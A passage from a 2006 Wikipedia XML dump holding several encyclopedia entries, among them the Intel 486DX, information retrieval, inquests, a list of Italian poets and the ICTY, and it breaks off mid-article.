*Data/Instruction Cache- An 8192-byte (8 kB) SRAM built into the processor core, designed to store the most commonly used instructions. The 386 supported an off-chip cache, but this was much slower.
*Pipelining-  This allows the processor to handle a LocateFetchExecute each clock cycle. The pipeline is offset meaning the execute step required information from the previous two clock cycles.  A locate would be to feed the next fetch, the fetch would be to feed the next execute.  The 386 needs to do each step separately.  
*Virtual Memory Handler-  [[Hardwired]] programming to handle swapping memory to hard drive.
*Integrated [[FPU]]-  Added accelerated high end math functions.

The 486 had a 32 bit data bus.  This requires either four matched 30 pin simms or one 72 pin simm.

The 486 has a 32 bit address bus limiting it to a 4 GB of ram.

The Early 486 machines often used [[VESA Local Bus]] for video cards and hard drives. The bus speed matches the motherboard frequency.

''See also'': [[Intel 80486]]

{{Intel_processors}}

[[Category:x86 microprocessors|Intel 4861]]

[[eo:486DX]]
[[fr:Intel 80486DX]]</text>
    </revision>
  </page>
  <page>
    <title>Iapetus</title>
    <id>15264</id>
    <revision>
      <id>38193546</id>
      <timestamp>2006-02-04T21:05:30Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: ko</comment>
      <text xml:space="preserve">'''Iapetus''' may mean:
*[[Iapetus (mythology)]], a Titan in Greek mythology
*[[Iapetus (moon)]], one of the planet Saturn's moons
*[[Iapetus Ocean]], an ancient ocean between present-day Scotland and Scandinavia

{{disambig}}
[[ast:Xapetu]]
[[da:Iapetus]]
[[es:Japeto]]
[[fr:Japet]]
[[ko:이아페투스]]
[[it:Giapeto]]
[[he:יאפטוס]]
[[ja:イアペトゥス]]</text>
    </revision>
  </page>
  <page>
    <title>Ignatius Loyola</title>
    <id>15265</id>
    <revision>
      <id>15912748</id>
      <timestamp>2004-12-10T18:20:11Z</timestamp>
      <contributor>
        <username>Alfvaen</username>
        <id>142109</id>
      </contributor>
      <minor />
      <comment>Added a space</comment>
      <text xml:space="preserve">#REDIRECT [[Ignatius of Loyola]]</text>
    </revision>
  </page>
  <page>
    <title>Interactive Fiction Competition</title>
    <id>15266</id>
    <revision>
      <id>40364466</id>
      <timestamp>2006-02-20T01:58:47Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Interactive Fiction Competition''' is an annual competition for works of [[interactive fiction]] that has been held since [[1995]].
It is intended for fairly short games, as judges are only allowed to spend two hours playing a game before deciding how many points to award it.

The first competition had separate sections for [[Inform]] and [[TADS]] games.
Subsequent competitions have not been divided into sections and are open to games produced by any method, provided that the software used to play the game is freely available.

Anyone can judge the games, and anyone can donate a prize.  Almost always, there are enough prizes donated that anyone who enters will get one.

Entries are required to be released as [[freeware]] or [[public domain]], reflecting the general non-profit ethos of the IF community.

The following is a list of winners to date:

*'''1995''':
**[[Inform]] category: ''[[A Change in the Weather]]'' by [[Andrew Plotkin]]
**[[TADS]] category: ''[[Uncle Zebulon's Will]]'' by Magnus Olsson
*'''1996:''' ''[[The Meteor, The Stone, And A Long Glass Of Sherbet]]'' by [[Graham Nelson]]
*'''1997:''' ''[[The Edifice]]'' by Lucian P. Smith
*'''1998:''' ''[[Photopia]]'' by [[Adam Cadre]]
*'''1999:''' ''[[Winter Wonderland (game)|Winter Wonderland]]'' by Laura A. Knauth
*'''2000:''' ''[[Kaged]]'' by Ian Finley
*'''2001:''' ''[[All Roads]]'' by Jon Ingold
*'''2002:''' ''[[Another Earth, Another Sky]]'' by [[Paul O'Brian]]
*'''2003:''' ''[[Slouching Towards Bedlam]]'' by Star Foster and Daniel Ravipinto
*'''2004:''' ''[[Luminous Horizon]]'' by Paul O'Brian
*'''2005:''' ''[[Vespers (game)|Vespers]]'' by [[Jason Devlin]]

==See also==
*[[Spring Thing]]

==External links==
* [http://www.ifcomp.org Official website]</text>
    </revision>
  </page>
  <page>
    <title>Immunity</title>
    <id>15267</id>
    <revision>
      <id>41944917</id>
      <timestamp>2006-03-02T20:19:47Z</timestamp>
      <contributor>
        <username>Natalinasmpf</username>
        <id>107009</id>
      </contributor>
      <comment>formalise</comment>
      <text xml:space="preserve">* In a medical sense, '''[[immunity (medical)|immunity]]'''  is a state of having sufficient biological defenses to avoid infection, disease, or other unwanted biological invasion.
* In a legal sense, '''[[immunity (legal)|immunity]]''' confers a status on a person or body that makes that person or body free from otherwise legal obligations such as, for example, liability for damages or punishment for criminal acts.  [[Transactional immunity]] refers to the inability of the prosecutor to prosecute a witness in exchange for the witness's testimony, an action referred to as &quot;turning state's evidence.&quot;  Under '''[[use immunity]]''', the government may not use a witness's grand jury testimony to prosecute that person.  But if the state acquires evidence for a crime independent of the testimony, then the witness can be prosecuted.

==See also==
*[[Immune system]]

{{disambig}}

[[cs:Imunita]]
[[de:Immunität]]
[[es:Inmunidad]]
[[eo:Imuneco]]
[[it:Immunità]]
[[nl:Immuniteit]]
[[ru:Иммунитет]]</text>
    </revision>
  </page>
  <page>
    <title>Inquest</title>
    <id>15268</id>
    <revision>
      <id>33560096</id>
      <timestamp>2006-01-02T04:58:35Z</timestamp>
      <contributor>
        <username>Robth</username>
        <id>573348</id>
      </contributor>
      <minor />
      <comment>disambig corruption link</comment>
      <text xml:space="preserve">:''For the gaming magazine, see [[InQuest Gamer]].''

An '''inquest''' is a formal process of state investigation. A common type inquest is a medical examination of any cause of death under suspicious circumstances.  Larger inquests can be held into disasters, or into cases of [[political corruption|corruption]].

==Inquests in jurisdictions based on British laws==

In jurisdictions under the [[Westminster system]], the process is the responsibility of a special non-criminal court called the Coroner's Court  under the supervision of the [[Coroner]].  In [[Scotland]] the equivalent term is a [[Fatal Accident Inquiry]], and the majority of [[death]]s are investigated and signed off by the area [[Procurator Fiscal]].

Individuals with an interest in the proceedings, such as relatives of the deceased, individuals appearing as witnesses, and organisations or individuals who may face some responsibility in the death of the individual, may be represented by lawyers at the discretion of the coroner.  Witnesses may be compelled to testify subject of a protection against self-incrimination.

Some inquests take place before a [[jury]].

At the conclusion of the inquest, the jury (or coroner) considers the facts of the death and gives a verdict representing their opinion of the reasons for the death.  This may include recommendations that individuals or organisations are in some way responsible for the death.  If so, a finding may recommend that those entities face criminal charges.  The finding may state that it is believed that a death was accidental.  Often, no conclusion can be reached about the reason for a death, and an '''open finding''' is returned.  Findings may also contain recommendations for changes to the practices of governments or organisations on how to avoid such deaths in the future, if the inquest reveals that such changes are desirable.  

Coroners record their verdicts; juries return verdicts.

If an open finding is returned, the inquest can be reopened if new evidence is found and presented to the coroner.

The qualifications required of coroners varies from jurisdiction to jurisdiction.  Originally, coroners did not always have legal training.  This has led to concerns that, particularly in cases where a real suspicion of foul play exists and where coroners must correctly instruct juries as to the relevant law, that incorrect findings were too common.  Consequently, some jurisdictions have modified their laws to require coroners to have studied and practised law.

[[Category:English law]]
[[Category:Civil procedure]]
[[Category:Legal terms]]</text>
    </revision>
  </page>
  <page>
    <title>Index</title>
    <id>15270</id>
    <revision>
      <id>41340901</id>
      <timestamp>2006-02-26T18:36:16Z</timestamp>
      <contributor>
        <username>David Shay</username>
        <id>17302</id>
      </contributor>
      <minor />
      <comment>interwiki he</comment>
      <text xml:space="preserve">{{wiktionary}}

'''''Index''''' can be defined as:
*  an ordered list, plural ''indexes''
*  a number or variable, plural ''indices''.

'''''Index''''' can also have the following meanings:

* The city -- [[Index, Washington]], [[United States]]
* '''Publishing''' purposes; see [[index (publishing)]]
* '''Information technology''' (IT) purposes; see [[index (information technology)]] or [[index (database)]]
* '''The default page''' served by a [[web server]], such as [[index.html]] or [[index.htm]].
* '''Mathematics'''; see [[index (mathematics)]]
* '''Linguistics'''; see [[Indexicality]]
* '''Economics and finance'''; see [[index (economics)]]
* In the '''[[Catholic Church]]''' the term ''Index'' may refer to the now defunct ''[[Index Librorum Prohibitorum]]'' created in 1559, the list of books that obedient Catholics were forbidden to read.
** This meaning has been extended to book [[censorship]] by some political regimes.
* Index also refers to a style of playing the game stepmania by using index fingers on both hands to hit the arrows on the keyboard; see [[StepMania]].
* [[Index finger]]s on human [[hand]]s.
* The former UK catalogue retailer, [[Index (retailer)|Index]], of the [[Littlewoods]] group, later known as ''Littlewoods Index''.
* [[Index Magazine]], based in [[New York City]].

{{disambig}}

[[category:Indexes|Indexes]]

[[zh-min-nan:Ín-tit]]
[[de:Index]]
[[eo:Indekso]]
[[he:אינדקס]]
[[io:Indico]]
[[fr:Indice]]
[[hu:Index]]
[[nl:Index]]
[[ja:索引]]
[[pt:Index]]
[[sv:Index]]</text>
    </revision>
  </page>
  <page>
    <title>Information retrieval</title>
    <id>15271</id>
    <revision>
      <id>42092622</id>
      <timestamp>2006-03-03T19:56:03Z</timestamp>
      <contributor>
        <username>Rfrisbie</username>
        <id>896545</id>
      </contributor>
      <comment>/* See also */ added one</comment>
      <text xml:space="preserve">'''Information retrieval (IR)''' is the art and science of searching for [[information]] in documents, searching for documents themselves, searching for [[Metadata (computing)|metadata]] which describe documents, or searching within [[database]]s, whether [[relational database|relational]] stand alone databases or hypertext networked databases such as the Internet or intranets, for text, sound, images or data.  There is a common confusion, however, between data retrieval, [[document retrieval]], information retrieval, and [[text retrieval]], and each of these have their own bodies of literature, theory, praxis and technologies.

The term &quot;information retrieval&quot; was coined by [[Calvin Mooers]] in 1948-50.

IR is a broad interdisciplinary field, that draws on many other disciplines. Indeed, because it is so broad, it is normally poorly understood, being approached typically from only one perspective or another.  It stands at the junction of many established fields, and draws upon [[cognitive psychology]], information architecture, [[information design]], human information behaviour, [[linguistics]], [[semiotics]], [[information science]], [[computer science]] and [[librarian]]ship.

Automated information retrieval (IR) systems were originally used to manage information explosion in scientific literature in the last few decades. Many universities and public libraries use IR systems to provide access to books, journals, and other documents. IR systems are often related to object and query. Queries are formal statements of information needs that are put to an IR system by the user. An object is an entity which keeps or stores information in a database. User queries are matched to documents stored in a database. A document is, therefore, a data object. Often the documents themselves are not kept or stored directly in the IR system, but are instead represented in the system by document surrogates. 

In 1992 the Department of Defense, along with the [[National Institute of Standards and Technology]] (NIST), cosponsored the [[Text Retrieval Conference]] '''(TREC)''' as part of the TIPSTER text program. The aim of this was to look into the information retrieval community by supplying the infrastructure that was needed for such a huge evaluation of text retrieval methodologies. 

Web [[search engine]]s such as [[Google]] and [[Lycos]] are amongst the most visible applications of information retrieval research.

== Performance measures ==

There are various ways to measure how well the retrieved information matches the intended information:

=== Precision ===

The proportion of [[Relevance (information retrieval)|relevant]] documents to all the documents retrieved:

:''P = (number of relevant documents retrieved) / (number of documents retrieved)''

In [[binary classification]], precision is analogous to [[positive predictive value]].
Precision can also be evaluated at a given cut-off rank, denoted ''P@n'', instead of all retrieved documents.

=== Recall === 

The proportion of relevant documents that are retrieved, out of all relevant documents available:

:''R = (number of relevant documents retrieved) / (number of relevant documents)''

In binary classification, recall is called [[sensitivity (tests)|sensitivity]].

=== F-measure === 

The weighted [[harmonic mean]] of precision and recall, the traditional F-measure is:

:&lt;math&gt;F = 2 \times \mathrm{precision} \times \mathrm{recall} / (\mathrm{precision} + \mathrm{recall}).\,&lt;/math&gt;

This is also known as the &lt;math&gt;F_1&lt;/math&gt; measure, because recall and precision are evenly weighted.

The general formula is:
:&lt;math&gt;F_N = (1 + N^2) \times \mathrm{precision} \times \mathrm{recall} / ((N^2 \times \mathrm{precision}) + \mathrm{recall}).\,&lt;/math&gt;

Two other commonly used F measures are the &lt;math&gt;F_{0.5}&lt;/math&gt; measure, which weights precision twice as much as recall, and the &lt;math&gt;F_2&lt;/math&gt; measure, which weights recall twice as much as precision.

=== Mean average precision ===

Over a set of queries, find the mean of the average precisions, where Average Precision is the average of the precision after each relevant document is retrieved. 

Where ''r'' is the rank, ''N'' the number retrieved, ''rel()'' a binary function on the relevance of a given rank, and ''P()'' precision at a given cut-off rank:

:&lt;math&gt; \operatorname{Ave}P = \frac{\sum_{r=1}^N (P(r) \times \mathrm{rel}(r))}{\mbox{number of relevant documents}} \!&lt;/math&gt; &lt;!-- It /should/ be P@r instead of P(r), but couldn't find the right way to do that --&gt;

This method emphasizes returning more relevant documents earlier.

== Model types ==
[[Image:Information-Retrieval-Models.png|thumb|500px|classification of IR-models (translated from [http://de.wikipedia.org/wiki/Informationsr%C3%BCckgewinnung#Klassifikation_von_Modellen_zur_Repr.C3.A4sentation_nat.C3.BCrlichsprachlicher_Dokumente German entry], original source [http://www.logos-verlag.de/cgi-bin/engbuchmid?isbn=0514&amp;lng=eng&amp;id= Dominik Kuropka])]]
For a successful IR, it is necessary to represent the documents in some way.  There are a number of models for this purpose. They can be classified according to two dimensions like shown in the left figure: the mathematical basis and the properties of the model. (translated from [http://de.wikipedia.org/wiki/Informationsr%C3%BCckgewinnung#Klassifikation_von_Modellen_zur_Repr.C3.A4sentation_nat.C3.BCrlichsprachlicher_Dokumente German entry], original source [http://www.logos-verlag.de/cgi-bin/engbuchmid?isbn=0514&amp;lng=eng&amp;id= Dominik Kuropka])

=== 1. dimension: mathematical basis ===
* ''Set-theoretic Models'' represent documents by sets. Similarities are usually derived from set-theoretic operations on those sets. Common models are:
** [[Standard Boolean model]]
** [[Extended Boolean model]]
** [[fuzzy retrieval]]

* ''Algebraic Models'' represent documents and queries usually as vectors, matrices or tuples. Those vectors, matrices or tuples are transformed by the use of a finite number of algebraic operations to a one-dimensional similarity measurement.
** [[Vector space model]]
** [[Generalized vector space model]]
** [[Topic-based vector space model]]
** [[Extended Boolean model]]
** Enhanced topic-based vector space model
** Latent semantic indexing aka [[latent semantic analysis]]

* ''Probabilistic Models'' treat the process of document retrieval as a multistage random experiment. Similarities are thus represented as probabilities. Probabilistic theorems like the [[Bayes'_theorem]] are often used in these models.
** [[Binary independence retrieval]]
** Uncertain inference
** [[Language model]]s
** [[Divergence from randomness models]]

=== 2. dimension: properties of the model ===
* ''Models without term-interdependencies'' treat different terms/words as not interdependent. This fact is usually represented in vector space models by the orthogonality assumption of term vectors or in probabilistic models by an independency assumption for term veriables.

* ''Models with immanent term interdependencies'' allow a representation of interdependencies between terms. However the degree of the interdependency between two terms is defined by the model itself. It is usually directly or indirectly derived (e.g. by dimensional reduction) from the co-occurrence of those terms in the whole set of documents.

* ''Models with transcendent term interdependencies'' allow a representation of interdependencies between terms, but they do not allege how the interdependency between two terms is defined. They relay an an external source for the degree of interdependency between two terms. (For example a human or sophisticated algorithms.)

== Open source information retrieval systems ==
* [http://www.galaxquery.com/galatex/ GalaTex] XQuery Full-Text Search (XML query text search)
* [http://www.htdig.org/ ht://dig] Open source web crawling software
* [http://www.ihop-net.org/UniPub/iHOP/ iHOP] Information retrieval system for the biomedical domain
* [http://www.cs.uni.edu/~okane/source/ISR/isr.html  Information Storage and Retrieval Using Mumps](Online GPL Text)
* [http://www.lemurproject.org/ Lemur] Language Modelling IR Toolkit
* [http://lucene.apache.org/java/docs/ Lucene] Apache Jakarta project
* [http://www.nzdl.org/html/mg.html MG full-text retrieval system] Now maintained by the [[Greenstone Digital Library Software]] Project
* [ftp://ftp.cs.cornell.edu/pub/smart/ SMART] Early IR engine from Cornell University
* [http://ir.dcs.gla.ac.uk/terrier Terrier] Information Retrieval Platform
* [http://www.wumpus-search.org/ Wumpus] multi-user information retrieval system
* [http://www.xapian.org/ Xapian] Open source IR platform based on Muscat
* [http://www.indexdata.dk/zebra/ Zebra] GPL structured text/XML/MARC boolean search IR engine supporting Z39.50 and Web Services
* [http://www.seg.rmit.edu.au/zettair/ Zettair]

== Major information retrieval research groups ==
* [http://ir.dcs.gla.ac.uk Glasgow Information Retrieval Group]
* [http://ciir.cs.umass.edu/ Center for Intelligent Information Retrieval]
* [http://www.ir.iit.edu/ IIT Information Retrieval Lab]
* [http://research.microsoft.com/ir/  Information Retrieval at Microsoft Research Cambridge]
* [http://www.dcs.vein.hu/CIR/ CIR Centre for Information Retrieval]
* [http://iis.ist.psu.edu/ PSU Intelligent Systems Research Laboratory]

== Major figures in information retrieval ==
* [[Calvin Mooers]]
* [[Eugene Garfield]]
* [[Gerard Salton]]
* [[W. Bruce Croft]]
* [[Karen Spärck Jones]]
* [[C. J. van Rijsbergen]]
* [[Stephen E. Robertson]]
* [[S. Dominich]]
Awards in this field: [[Tony Kent Strix award]]

== ACM SIGIR Gerard Salton Award==
; 1983 - [[Gerard Salton]], [[Cornell University]] : &quot;About the future of automatic information retrieval&quot;
; 1988 - [[Karen Sparck Jones]], [[University of Cambridge]] : &quot;A look back and a look forward&quot;
; 1991 - [[Cyril Cleverdon]], [[Cranfield Institute of Technology]] : &quot;The significance of the Cranfield tests on index languages&quot;
; 1994 - [[William S. Cooper]], [[University of California, Berkeley]] : &quot;The formalism of probability theory in IR: a foundation or an encumbrance?&quot;
; 1997 - [[Tefko Saracevic]], [[Rutgers University]] : &quot;Users lost: reflections on the past, future, and limits of information science&quot; 
; 2000 - [[Stephen E. Robertson]], [[City University London]] : &quot;On theoretical argument in information retrieval&quot;
; 2003 - [[W. Bruce Croft]], [[University of Massachusetts, Amherst]] : &quot;Information retrieval and computer science: an evolving relationship&quot;

== See also ==
* [[Controlled vocabulary]]
* [[Cross-language information retrieval]]
* [[Digital libraries]]
* [[Document classification]]
* [[Educational psychology]]
* [[Free text search]]
* [[Geographic information system]]
* [[Information extraction]]
* [[Information science]]
* [[Knowledge visualization]]
* [[Search engines]]
* [[Spoken document retrieval]]
* [[tf-idf]]

== External links ==
* [http://www.acm.org/sigir/ ACM SIGIR: Information Retrieval Special Interest Group]
* [http://irsg.bcs.org/ BCS IRSG: British Computer Society - Information Retrieval Specialist Group] 
* [http://www-db.stanford.edu/~backrub/google.html The Anatomy of a Large-Scale Hypertextual Web Search Engine]
* [http://trec.nist.gov Text Retrieval Conference (TREC)]
* [http://www.dcs.gla.ac.uk/Keith/Preface.html Information Retrieval] (online book) by [[C. J. van Rijsbergen]]
* [http://www.civr2004.org/ International Conference on Image and Video retrieval, July 21-23, 2004]
* [http://ir.dcs.gla.ac.uk/wiki Glasgow Information Retrieval Group Wiki]
* [http://www.irccyn.ec-nantes.fr/mlschool/mlss03/slides03/slides_mlss03_tutorial.pdf An introduction to IR]
* [http://www.innovationsinsearch.com/ Innovations in Search Conference, September 27-29, 2005]
* [http://www.hsl.creighton.edu/hsl/Searching/Recall-Precision.html Measuring Search Effectiveness]
* [http://www.cs.technion.ac.il/~gabr/resources/resources.html Resources for Text, Speech and Language Processing]
* [http://www.stanford.edu/class/cs276/cs276-2005-syllabus.html Stanford CS276 course -  Information Retrieval and Web Mining]

[[Category:Computer science]]
[[Category:Information science]]

[[de:Informationsrückgewinnung]]
[[es:Recuperación de información]]
[[fr:Recherche d'information]]</text>
    </revision>
  </page>
  <page>
    <title>List of Italian language poets</title>
    <id>15272</id>
    <revision>
      <id>40460030</id>
      <timestamp>2006-02-20T18:45:13Z</timestamp>
      <contributor>
        <username>Wikipedius</username>
        <id>106646</id>
      </contributor>
      <comment>Rinaldo d'Aquino</comment>
      <text xml:space="preserve">{{CompactTOC2}}

[[Poets]] who wrote in [[Italian language|Italian]] (or Italian dialects):

== A ==  
*[[Cielo d'Alcamo]]                                 
*[[Antonio Abati]]
*[[Luigi Alamanni]]
*[[Pellegatta Alberto]]
*[[Aleardo Aleardi]]
*[[Dante Alighieri]]
*[[Cecco Angiolieri]]
*[[Gabriele D'Annunzio]]
*[[Guittone d'Arezzo]]
*[[Ludovico Ariosto]]
*[[Francis of Assisi]]
*[[Rinaldo d'Aquino]]

== B ==
*[[Angelo Barile]]
*[[Giuseppe Gioacchino Belli]] ([[Rome|Roman dialect]])
*[[Bruno Barilli]]
*[[Luigi Bartolini]]
*[[Giovanni Boccaccio]]
*[[Matteo Boiardo]] (Epic poet, 1441-94)
*[[Ignazio Buttitta]] ([[Sicily|Sicilian dialect]])

== C ==
*[[Guido dalle Colonne]]
*[[Dino Campana]]
*[[Vincenzo Cardarelli]]
*[[Giosuè Carducci]]
*[[Guido Cavalcanti]]
*[[Dario Chioli]]
*[[Girolamo Comi]]

== F ==
*[[Franco Fortini]]
*[[Ugo Foscolo]]

== G ==
*[[Luca Ghiselli]]
*[[Lapo Gianni]]
*[[Giuseppe Giusti]] 
*[[Guido Gozzano]]
*[[Lionello Grifo]]
*[[Margherita Guidacci]]
*[[Giovanni Battista Guarini]]
*[[Guido Guinizzelli]]

== J ==
*[[Piero Jahier]]

== L ==
*[[Giacomo da Lentini]]
*[[Giacomo Leopardi]]
*[[Mario Luzi]]
*[[Alessandro Manzoni]]

== M ==
*[[Lorenzo il Magnifico]] (sovereign of Florence, 1449-92)
*[[Giambattista Marini]]
*[[Alda Merini]]
*[[Metastasio]] (Pietro Trapassi)
*[[Grazyna Miller]] 
*[[Eugenio Montale]] ([[Nobel Prize in literature]], [[1975]])
*[[Vincenzo Monti]]

== O ==
*[[Arturo Onofri]]

== P ==
*[[Giovanni Pascoli]]
*[[Cesare Pavese]]
*[[Francesco Petrarca]]
*[[Poliziano]] (Angelo Ambrogini)
*[[Carlo Porta]] ([[Milan|Milanese dialect]])
*[[Luigi Pulci]] (1432-84)

== Q ==
*[[Salvatore Quasimodo]]

== S ==
*[[Umberto Saba]]
*[[Maria Luisa Spaziani]]
*[[Pietro Spiggia]]

== T ==
*[[Torquato Tasso]]
*[[Jacopone da Todi]]
*[[Trilussa]] (Carlo Alberto Salustri) ([[Rome|Roman dialect]])

== U ==
*[[Giuseppe Ungaretti]]

== V ==
*[[Giuseppe Villaroel]]
*[[Cesare Vivaldi]]
*[[Pier della Vigna]]

== Z ==
*[[Andrea Zanzotto]]

==See also==
*[[List of Italian writers]]


[[Category:Lists of poets|Italian poets]]
[[Category:Italian poets| ]]

[[fr:Liste de poètes de langue italienne]]</text>
    </revision>
  </page>
  <page>
    <title>ICTY</title>
    <id>15273</id>
    <revision>
      <id>32972635</id>
      <timestamp>2005-12-28T07:38:21Z</timestamp>
      <contributor>
        <username>Ral315</username>
        <id>111703</id>
      </contributor>
      <comment>Fixing double redirect ([[Special:DoubleRedirects]])</comment>
      <text xml:space="preserve">#REDIRECT [[International Criminal Tribunal for the former Yugoslavia]]</text>
    </revision>
  </page>
  <page>
    <title>International Criminal Tribunal for the former Yugoslavia</title>
    <id>15274</id>
    <revision>
      <id>42055755</id>
      <timestamp>2006-03-03T14:22:58Z</timestamp>
      <contributor>
        <username>Kjetil r</username>
        <id>56360</id>
      </contributor>
      <minor />
      <comment>[[no:Det internasjonale krigsforbrytertribunalet for det tidligere Jugoslavia]]</comment>
      <text xml:space="preserve">The ''International Tribunal for the Prosecution of Persons Responsible for Serious Violations of International Humanitarian Law Committed in the Territory of the Former Yugoslavia since 1991'', more commonly referred to as the &quot;'''International Criminal Tribunal for the former Yugoslavia'''&quot;, acronym 'ICTY', is a body of the [[United Nations]] (UN) established to prosecute [[war crime]]s in the [[Socialist Federal Republic of Yugoslavia|former Yugoslavia]].  The tribunal functions as an ad-hoc court and is located in [[The Hague]].

It was established by [[UN Security Council Resolution 827|Resolution 827]] of the [[UN Security Council]], which was passed on [[May 25]], [[1993]]. It has jurisdiction over certain types of crime committed on the territory of the former Yugoslavia since [[1991]]:  grave breaches of the [[1949]] [[Geneva Conventions]], violations of the [[laws or customs of war]], [[genocide]], and [[crime against humanity]]. It can try only individuals, not [[organization]]s or [[government]]s. The maximum sentence it can impose is [[life imprisonment]]. Various countries have signed agreements with the UN to carry out custodial sentences. The last indictment was issued [[March 15]], [[2004]]. It aims to complete all trials by the end of [[2008]] and all appeals by [[2010]].


==Organization==

The Tribunal employs some 1,200 staff. Its main organisational components are Chambers, Registry and the Office of The Prosecutor (OTP).

Chambers encompasses the [[judge]]s and their aides. The Tribunal operates three Trial Chambers and one Appeals Chamber (which also functions as the Appeals Chamber for the [[ICTR]]); the Presiding Judge of the Appeals Chamber is also the President of the Tribunal as a whole. Currently, this is [[Theodor Meron]] ([[USA]]; since [[2002]]). His predecessors were [[Antonio Cassese]] ([[Italy]]; [[1993]]-[[1997]]), [[Gabrielle Kirk-McDonald]] (USA; 1997-1999) and [[Claude Jorda]] ([[France]]; [[1999]]-[[2002]]).

Registry is responsible for handling the administration of the Tribunal; activities include keeping court records, translating court documents, transporting and accommodating those who appear to testify, operating the Public Information Section, and such general duties as payroll administration, personnel management and procurement. It is also responsible for the Detention Unit for indictees being held during their trial and the Legal Aid program for indictees who cannot pay for their own defence.  It is headed by the Registrar, currently [[Hans Holthuis]] ([[Netherlands]]; since [[2000]]). His predecessor was [[Dorothée de Sampayo Garrido-Nijgh]] (Netherlands; [[1995]]-[[2000]]).

The Office of the Prosecutor is responsible for investigating crimes, gathering evidence and prosecuting indictees. It is headed by the Prosecutor, who also serves as the Prosecutor of the [[ICTR]]. The current Prosecutor is [[Carla del Ponte]] ([[Switzerland]]; since [[1999]]). Previous Prosecutors have been [[Ramón Escovar-Salom]] ([[Venezuela]]; [[1993]]-[[1994]]), [[Richard Goldstone]] ([[South Africa]]; [[1994]]-[[1996]]), and [[Louise Arbour]] ([[Canada]]; [[1996]]-[[1999]]).

==Judges==

[[As of 2005]], the International Criminal Tribunal for the former Yugoslavia's Appeals Chamber is integrated by:

*Justice [[Theodor Meron]] ([[United States of America]]), [[President]]
*Justice [[Fausto Pocar]] ([[Italy]]), [[Vice-President]]
*Justice [[Andrésia Vaz]] ([[Senegal]])
*Justice [[Mehmet Güney]] ([[Turkey]])
*Justice [[Wolfgang Schomburg]] ([[Germany]])
*Justice [[Mohamed Shahabuddeeen]] ([[Guyana]])
*Justice [[Florence Ndepele Mwachande Mumba]] ([[Zambia]])

The Trial Chambers are integrated by:

*Justice [[Patrick Lipton Robinson]] ([[Jamaica]])
*Justice [[Carmel A. Agius]] ([[Malta]])
*Justice [[Liu Daqun]] ([[People's Republic of China]])
*Justice [[Amin El Mahdi]] ([[Egypt]])
*Justice [[Alphonsus Martinus Maria Orie]] ([[The Netherlands]])
*Justice [[O-gon Kwon]]) ([[Republic of Korea]])
*Justice [[Jean-Claude Antonetti]] ([[France]])
*Justice [[Kevin Parker]] ([[France]])
*Justice [[Ian Bonomy]] ([[Australia]])

According to [[UN]] resolutions, the ICTY also has nine [[ad litem]] Judges:

*Justice [[Joaquín Martín Canivell]] ([[Spain]])
*Justice [[Vonimbolana Rasoazanany]] ([[Madagascar]])
*Justice [[Bert Swart]] ([[The Netherlands]])
*Justice [[Krister Thelin]] ([[Sweden]])
*Justice [[Christine van den Wyngaert]] ([[Belgium]])
*Justice [[Hans Henrik Brydensholt]] ([[Denmark]])
*Justice [[Albin Eser]] ([[Germany]])
*Justice [[Claude Hanoteau]] ([[France]])
*Justice [[Györg Szénási]] ([[Hungary]])

One judge comes from the Eastern European legal system, and none from [[Eastern Orthodox Church|orthodox]]-predominant countries.

==Accomplishments of the Court==

In 2004, the ICTY published a list of five successes which it claimed it had accomplished:
 
1. &quot;Spearheading the shift from impunity to accountability&quot;, pointing out that, until very recently, it was the only court judging crimes committed as part of the Yugoslav conflict, since prosecutors in the former Yugsolavia were, as a rule, reluctant to prosecute such crimes;

2. &quot;Establishing the facts&quot;, highlighting the extensive evidence-gathering and lengthy findings of fact that Tribunal judgments produced;

3. &quot;Bringing justice to thousands of victims and giving them a voice&quot;, pointing out the large number of witnesses that had been brought before the Tribunal;

4. &quot;The accomplishments in international law&quot;, describing the fleshing out of several international criminal law concepts which had not been ruled on since the Nuremberg Trials;

5. &quot;Strengthening the Rule of Law&quot;, referring to the Tribunal's role in promoting the use of international standards in war crimes prosecutions by former Yugoslav republics.

==Criticisms of the Court==

Some of the criticisms levelled against the court include:
* It was established by the [[UN Security Council]] instead of the [[UN General Assembly]] The UN Charter specifically gives the exclusive right to establish such organs to the General Assembly. This has been the formal basis of [[Slobodan Milošević|Milošević]]'s claim that the court has no legal authority. It was established on the basis of the Chapter VII of the [[UN Charter]]; relevant portion of the charter reads &quot;the Security Council can take measures to maintain or restore international peace and security&quot;; it is disputed whether a tribunal could be considered a measure to maintain or restore international peace and security.
* An apparently disproportionately large number of indictees are [[Serbs]] (to the extent that a sizeable portion of the Bosnian Serb and Serbian political and military leaderships have been indicted), whereas there have been very few indictments resulting from crimes committed against Serbs (many Croat indictees were charged with crimes committed against Bosnian Muslims); furthermore, Serbian indictees are of higher rank than those of other nations and face with broader accusations. Defenders of the Tribunal respond that Serb control of the established command structure (and most of the [[weapon]]ry) of the [[Yugoslav People's Army]] (JNA) from the start of the various wars facilitated the commission of crimes on a wider and more organised scale; furthermore, the Serb command structure facilitated the identification of those with command responsibility for war crimes. However, this fails to explain why a number of specific crimes committed against Serbs are not prosecuted.
* Many of the indictees are still not apprehended, which reflects badly on its image. Defenders point out that the Tribunal has no powers of [[arrest]], and is reliant on other agencies (notably national governments, [[EUFOR]] and [[KFOR]]) to apprehend and extradite indictees.
* The Tribunal's power to issue secret indictments creates uncertainty among people who regard themselves as possible indictees, which places an unreasonable strain on their ability to proceed with their everyday lives, both in the short and long term.
* The Tribunal in effect makes no distinction between the Bosnian, Croatian and Serbian languages, issuing documents in what it terms &quot;B/C/S&quot; (&quot;Bosnian/Croatian/Serbian&quot;) with no regard to differences between the three; see [[Serbo-Croatian language]]. Supporters of this approach respond that since all three forms are mutually intelligible to a high degree (and indeed were officially considered to be single [[language]] before the breakup of the former Yugoslavia) separate translations are not needed. However, despite the fact that most of the indictees are Serbs, the tribunal exclusively uses [[translator]]s who speak Bosnian and Croatian languages. Some of the indictees have filed complaints about not being able to fully understand the translations.
* The Tribunal has not prosecuted the citizens of any [[NATO]] countries as a result of NATO's involvement in the Kosovo conflict.  NATO spokesman [[Jamie Shea]] said the following about the court:

